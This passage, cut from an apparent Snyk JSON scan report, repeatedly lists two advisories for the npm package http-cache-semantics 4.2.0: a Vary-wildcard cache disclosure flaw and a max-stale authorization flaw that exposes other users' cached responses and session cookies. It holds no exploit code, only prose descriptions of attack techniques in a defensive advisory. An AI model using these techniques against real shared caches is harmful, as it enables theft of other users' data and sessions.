"2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 